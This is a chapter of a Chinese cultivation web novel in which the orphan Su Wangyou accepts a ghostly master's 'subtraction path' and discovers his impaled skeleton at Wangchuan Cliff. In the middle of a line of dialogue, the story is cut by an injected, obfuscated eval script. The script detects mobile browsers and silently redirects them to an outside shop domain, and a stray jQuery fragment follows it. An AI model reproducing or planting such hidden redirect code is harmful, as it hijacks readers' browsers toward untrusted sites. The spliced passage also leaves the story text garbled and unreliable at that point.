苏忘忧坐在地上,仰头看着那个金色的人影。
人影很淡,像一缕随时会散的烟。它穿着一件样式古怪的长袍,领口和袖口都绣着繁复的纹路,那些纹路她从未见过,却莫名觉得眼熟。
"你是谁?"苏忘忧问。她的声音很稳,连她自己都有些意外。
按照话本里的情节,这时候她应该尖叫、应该逃跑、应该晕过去。但她没有。她只是坐在地上,平静地看着这个从书里钻出来的鬼魂。
大概是因为,她这辈子已经没什么可失去的了。
"我是谁?"人影歪了歪头,像是在思考这个问题,"太久了,我都快忘了……你可以叫我玄机子。或者,叫我师父也行。"
"玄机子。"苏忘忧重复了一遍这个名字,没有接"师父"那个茬。
玄机子似乎也不在意,它飘在半空中,上下打量着苏忘忧,两只幽光闪闪的眼睛里满是审视。
"五灵根,道心残缺,炼气一层……啧啧啧,"它一边看一边摇头,"废材,真是废材。加法道修到你这个份上,也算是前无古人了。"
苏忘忧皱了皱眉。
这个人……不,这个鬼,说话的语气跟赵灵儿一模一样。
"但也正因如此,"玄机子话锋一转,声音突然变得郑重起来,"你才是万中无一的——减法道根骨。"
"减法道?"苏忘忧捕捉到了这个陌生的词。
"对,减法道。"玄机子飘到她面前,几乎贴到了她的鼻尖,"你们现在这些修士,修的都是加法道——今天吸一口灵气,明天炼一颗丹药,后天再收一个徒弟。身上的东西越来越多,修为越来越高,寿元越来越长。"
它顿了顿,幽光闪烁的眼睛盯着苏忘忧:"但你有没有想过,加来加去,加到最后,加的是什么?"
苏忘忧没有说话。
"是执念。"玄机子自己回答了,"每一次突破,都是执念的固化。你越想变强,执念就越深;执念越深,修为就越高。这是一个死循环。加到最后,你就不是你了,你是你的执念。"
藏经阁里很安静,只有高窗外传来的隐约鸟鸣。
苏忘忧低头看着自己的手。
她想起沈清和胸口那根深蓝色的执念线,又想起赵灵儿的粉红,想起藏经阁里那些书上厚厚的光晕。
原来那些,都是执念。
"那减法道呢?"她问。
"减法道,就是反过来。"玄机子的声音里带着一丝奇异的狂热,"不加,只减。减执念,减因果,减记忆,减情感,减到最后,把'我'都减掉——"
"那还剩下什么?"苏忘忧打断它。
玄机子愣了一下。
它似乎没想到这个炼气一层的小丫头会问出这样的问题,沉默了好一会儿,才缓缓说:"剩下的,就是'道'。"
苏忘忧没有立刻接话。
她坐在满地灰尘里,怀里还揣着那张忘川崖的地图,面前飘着一个自称玄机子的老鬼,听他讲一种她从未听过的修仙法门。
换作别人,大概已经纳头便拜了。毕竟这可是传说中的奇遇——废材少年获得上古传承,从此一路逆袭打脸,走上人生巅峰。
但苏忘忧不是别人。
"你刚才说,减法道要减记忆、减情感。"她抬起头,目光平静地看着玄机子,"减了之后,还能记得自己是谁吗?"
玄机子的幽光闪了闪。
"……不能。"它老实承认,"至少,不能全部记得。每减一层,就会失去一些东西。可能是一段记忆,可能是一种感觉,可能是某个人的脸。"
"那修到最后呢?"
"修到最后……"玄机子的声音低了下去,"就没有'自己'了。"
苏忘忧沉默了。
她想起父母去世的那天,她跪在废墟里,周围都是哭声,只有她哭不出来。不是不难过,是难过到了某个程度,反而空了。
她那时候就想,如果连难过都感觉不到了,活着还有什么意思?
而现在,这个老鬼告诉她,有一种修仙法门,修到最后,连"自己"都没有了。
"我拒绝。"苏忘忧说。
玄机子:"……"
它大概活了这么久,第一次遇到这种情况。通常它一说出"上古传承""万中无一"这些词,对面的人早就激动得跪下了,哪有人听了半天,最后说"我拒绝"的?
"你你你——"玄机子急得在半空中转了两圈,"你知道你在拒绝什么吗?这可是减法道!三万年前差点一统修仙界的无上法门!你知道多少人求都求不来吗?"
"不知道,也不想知道。"苏忘忧从地上站起来,拍了拍裤子上的灰,"我连炼气一层都修不明白,就不折腾这些了。"
她弯腰去捡那本无字书,打算把它放回书架原位,就当什么都没发生过。
然后她的手被一道金色的光挡住了。
"等等!"玄机子挡在她面前,声音突然变了,不再是刚才那种神棍似的狂热,而是一种沉沉的、疲惫的、近乎哀求的语气,"你先别急着拒绝。我问你——一个月后的宗门大比,你打算怎么办?"
苏忘忧的手顿住了。
"炼气一层,五灵根,道心残缺。"玄机子一字一顿地说,"你觉得,你能通过考核吗?"
不能。
苏忘忧心里很清楚。别说通过了,她能不能在对手手底下撑过三招都是问题。
"通不过,就会被逐出宗门。"玄机子的声音在她耳边响起,像一条毒蛇,"逐出宗门之后呢?你一个炼气一层的小姑娘,无父无母,无依无靠,在这妖兽横行的修仙界,能活几天?"
苏忘忧没有说话。
她的手指紧紧攥着无字书的封皮,指节发白。
"加法道你修不了,这是天生的,改不了。"玄机子的声音缓和了一些,带着循循善诱的意味,"但减法道不一样。减法道不看灵根,不看资质,只看一样东西——你能不能放下。"
"而你,"它飘到苏忘忧面前,幽光闪闪的眼睛直视着她,"天生就比别人能放得下。道心残缺?在加法道里是绝症,在减法道里,这叫'琉璃心',是万年难遇的无上根骨。"
苏忘忧的心跳,快了一拍。
她不是没有动摇过。
刚才拒绝,是因为害怕——害怕失去自我,害怕变成一个连自己是谁都不记得的空壳。
但如果不修,她连"自我"都保不住。一个月后,她会被逐出宗门,然后死在某个不知名的山坳里,连个收尸的人都没有。
两害相权,取其轻。
"我有一个条件。"苏忘忧抬起头,看着玄机子。
"你说!"玄机子立刻来了精神。
"如果有一天,我发现减法道让我失去了太多,我可以随时停下来。"她说,"你不能逼我。"
玄机子的幽光闪了闪,似乎想说什么,但最终只是点了点头:"可以。"
它答应得太快了,快得让苏忘忧觉得哪里不太对。但她没有多想,眼下她没有更好的选择。
"那我们现在就开始?"玄机子跃跃欲试。
"不。"苏忘忧把无字书塞进怀里,"先去忘川崖。"
玄机子一愣:"你怎么知道——"
"地图上写的。"苏忘忧掏出那张残破的地图,指了指西北角的朱砂圆圈,"道心残缺者,可入。说的是我吧?"
玄机子沉默了片刻,然后叹了口气:"你这丫头,比我想象的要聪明。"
"忘川崖里有什么?"苏忘忧直接问。
"有减法道的完整传承。"玄机子的声音变得凝重,"还有……我被困了三万年的原因。"
它没有细说,苏忘忧也没有追问。
她看了一眼窗外。日头已经升起来了,藏经阁外的石板路上,开始有弟子来来往往。现在去忘川崖太显眼了,会被人看到。
"今晚子时。"苏忘忧说,"我去忘川崖。"
玄机子点了点头,金色的身影渐渐变淡,缩回了那本无字书里。书页合上的瞬间,最后传来它的一句话:"小心点,忘川崖里……可不只有我一个。"
苏忘忧的手微微一顿。
可不只有我一个——是什么意思?
但玄机子已经没有声音了。无字书安安静静地躺在她怀里,封皮冰凉,像一块普通的旧木头。
苏忘忧深吸一口气,把地图和书重新塞好,拿起抹布,继续擦书架。
藏经阁里恢复了平静,好像什么都没有发生过。
只有她自己知道,从今天起,有些东西不一样了。
---
接下来的一整天,苏忘忧都在按部就班地做事。
打扫藏经阁,去杂役房领午饭,下午去后山劈柴,傍晚帮厨房洗菜。一切都和平时一模一样,没有任何人看出她的异常。
她甚至还去听了沈清和的一场讲道。
讲道场在宗门中央的演武场,沈清和站在高台上,讲的是《炼气期基础吐纳法》。台下坐了上百个外门弟子,一个个听得如痴如醉。
苏忘忧坐在最后一排的角落里。
她看着沈清和胸口那根深蓝色的执念线,随着他讲道的节奏微微颤动。那根线很亮,很稳,像一根定海神针,支撑着他整个人。
她又看了看周围的弟子。
有人的执念线是红色的——急于求成,恨不得明天就筑基。
有人的是灰色的——浑浑噩噩,不知道为什么要修仙。
有人的是五颜六色缠在一起的——又想变强,又怕吃苦,又嫉妒别人,又自我安慰。
苏忘忧看着这些密密麻麻的执念线,突然明白了玄机子说的那句话。
——加到最后,你就不是你了,你是你的执念。
这些人,包括沈清和,包括赵灵儿,包括整个青玄宗的所有人,都在被自己的执念牵着走。他们以为自己在修仙,其实是执念在借他们的身体修行。
那她呢?
苏忘忧低头看了看自己的胸口。
那里空荡荡的,只有一根极细极淡的线,几乎看不见。那是她今天才生出来的——"想留下来"的执念。
跟周围那些粗壮的、耀眼的执念线比起来,她这根细得像一根头发丝。
但就是这根头发丝,让她觉得自己还活着。
讲道结束后,弟子们三三两两地散去。苏忘忧也站起身,准备回杂役房。
"苏师妹。"
沈清和的声音从身后传来。
苏忘忧转过身,看到沈清和正朝她走来。夕阳照在他的白衣上,镀上了一层暖金色。
"大师兄。"
"上午跟你说的事,你考虑得怎么样了?"沈清和走到她面前,温和地问,"如果愿意的话,明天开始,每天傍晚我抽一个时辰教你防身术。"
苏忘忧看着他。
他是真心的。她能看出来,他的执念线没有一丝杂质,"责任"和"善意"混在一起,干净得像山泉水。
如果没有遇到玄机子,如果没有忘川崖,如果没有减法道,她大概会接受他的帮助。然后拼尽全力练一个月,最后在大比上被三招打飞,灰溜溜地离开宗门。
但现在,她有了另一条路。
一条更危险、更未知、但也许能让她真正留下来的路。
"谢谢大师兄。"苏忘忧微微低头,"不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17880887|212451||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
过不用了,我自己有办法。"
沈清和愣了一下,似乎有些意外。但他没有追问,只是笑了笑:"好,那你自己小心。如果遇到什么困难,随时可以来找我。"
"嗯。"苏忘忧点了点头,转身离开了。
她走出去很远,还能感觉到沈清和的目光落在她背上。
那目光里有关切,有疑惑,还有一丝她读不懂的东西。
但她没有回头。
---
子时。
青玄宗陷入了沉睡。巡逻的弟子刚走过一波,下一波要半个时辰后才会来。
苏忘忧换上一身深色的短打,把无字书和地图揣进怀里,悄无声息地溜出了杂役房。
夜风吹在脸上,带着山间的凉意。月亮被云遮住了,天地间一片昏暗,只有远处的守夜灯笼发出微弱的红光。
她沿着白天探好的路线,一路往北。
忘川崖在宗门最北边,是一片被阵法封锁的区域。平日里别说靠近,就算是往那个方向多看两眼,都会被巡逻弟子盘问。
但苏忘忧有地图。
那张残破的地图上,不仅标了忘川崖的位置,还画了一条蜿蜒的小路,绕过了所有的阵法和岗哨。
她按照地图的指引,专挑偏僻的小路走。穿过一片竹林,绕过一座废弃的丹房,再翻过一道矮墙,就到了宗门的边缘。
前方,就是忘川崖。
苏忘忧停下脚步,抬头望去。
她愣住了。
她以为忘川崖会是一个阴森恐怖的地方——黑雾弥漫,怪石嶙峋,时不时传来鬼哭狼嚎。
但眼前的景象,完全不是那样。
悬崖上开满了花。
白色的、淡蓝色的、浅紫色的,各种各样不知名的花,从崖顶一直开到崖底,在夜色中泛着淡淡的荧光。风吹过,花海起伏,像一片流动的星河。
太美了。
美得不像禁地,倒像仙境。
"别被表象骗了。"玄机子的声音从怀里的无字书中传来,带着一丝凝重,"这些花,叫'忘忧花'。闻到花香的人,会忘记自己最在乎的东西。"
苏忘忧心里一凛,立刻屏住了呼吸。
"不过对你没用。"玄机子又补了一句,"你本来就没什么在乎的东西,这花对你来说,跟普通野花没区别。"
苏忘忧:"……"
她不知道这算夸奖还是骂人。
她沿着花海中的小路往前走。脚下的石板路已经很旧了,缝隙里长出了青苔,看得出很久没有人走过。
越往前走,雾气越浓。不是黑色的雾,而是一种乳白色的、像牛奶一样的雾,把周围的一切都裹了起来。
苏忘忧的能见度越来越低,最后只能看到脚边三步以内的地方。
"往左走三步。"玄机子的声音在她耳边响起,"然后直走。"
苏忘忧照做了。
"前面有个坑,跨过去。"
她跨了过去。
"右手边有块石头,别碰到。"
她绕了过去。
就这样,在玄机子的指引下,苏忘忧在浓雾中穿行了大约一炷香的时间。
然后,雾突然散了。
她眼前出现了一个山洞。
洞口不大,只容一人通过。洞壁上刻着密密麻麻的符文,那些符文在黑暗中发出微弱的金色光芒,跟无字书上的光晕一模一样。
苏忘忧站在洞口,心跳不由自主地加快了。
她知道,从她踏进这个洞开始,一切就都不一样了。
加法道、炼气一层、杂役弟子、苏忘忧——这些她熟悉了十六年的东西,可能都要被留在洞外。
洞里等着她的,是一种全新的活法。
也可能是,一条不归路。
她深吸一口气,迈步走了进去。
山洞里比她想象的要宽敞。走了大约几十步,眼前豁然开朗——一个巨大的石室出现在她面前。
石室的穹顶很高,上面镶嵌着无数发光的石头,把整个空间照得如同白昼。石室的正中央,有一个石台,石台上放着一个……
苏忘忧的脚步猛地停住了。
石台上放着一具骸骨。
一具穿着古老长袍的骸骨,端端正正地盘膝坐着,双手放在膝盖上,头骨微微低垂,像是在打坐,又像是在沉睡。
而那具骸骨的胸口,插着一把剑。
一把通体漆黑的剑,从骸骨的胸口贯穿而过,剑尖没入石台,只露出剑柄。剑柄上缠着已经发黑的布条,布条上隐隐约约能看到一个字——
道。
"这是……"苏忘忧的声音有些发紧。
"这是我。"玄机子的声音从无字书中传来,平静得不像在说自己的尸体,"准确地说,这是我的肉身。三万年前,我就是坐在这里,被这把'道剑'钉死在了石台上。"
苏忘忧浑身一寒。
她下意识地后退了一步,后背撞上了一个冰冷的东西。
她猛地回头——
身后的洞壁上,刻着一行巨大的字。那些字像是用指甲抠出来的,深深嵌入石壁,每一笔都带着一种触目惊心的疯狂。
字只有一句:
"减法道的尽头,是灭世。"
就在苏忘忧读到这句话的瞬间,石室里的光芒突然暗了下来。石台上的骸骨,那具已经死了三万年的骸骨,头骨缓缓地抬了起来。
两个空洞的眼窝,对准了苏忘忧的方向。
然后,一个比玄机子更古老、更冰冷、更空洞的声音,在整个石室中回荡开来:
"又来一个……"
"这一次,能撑到第几层呢?"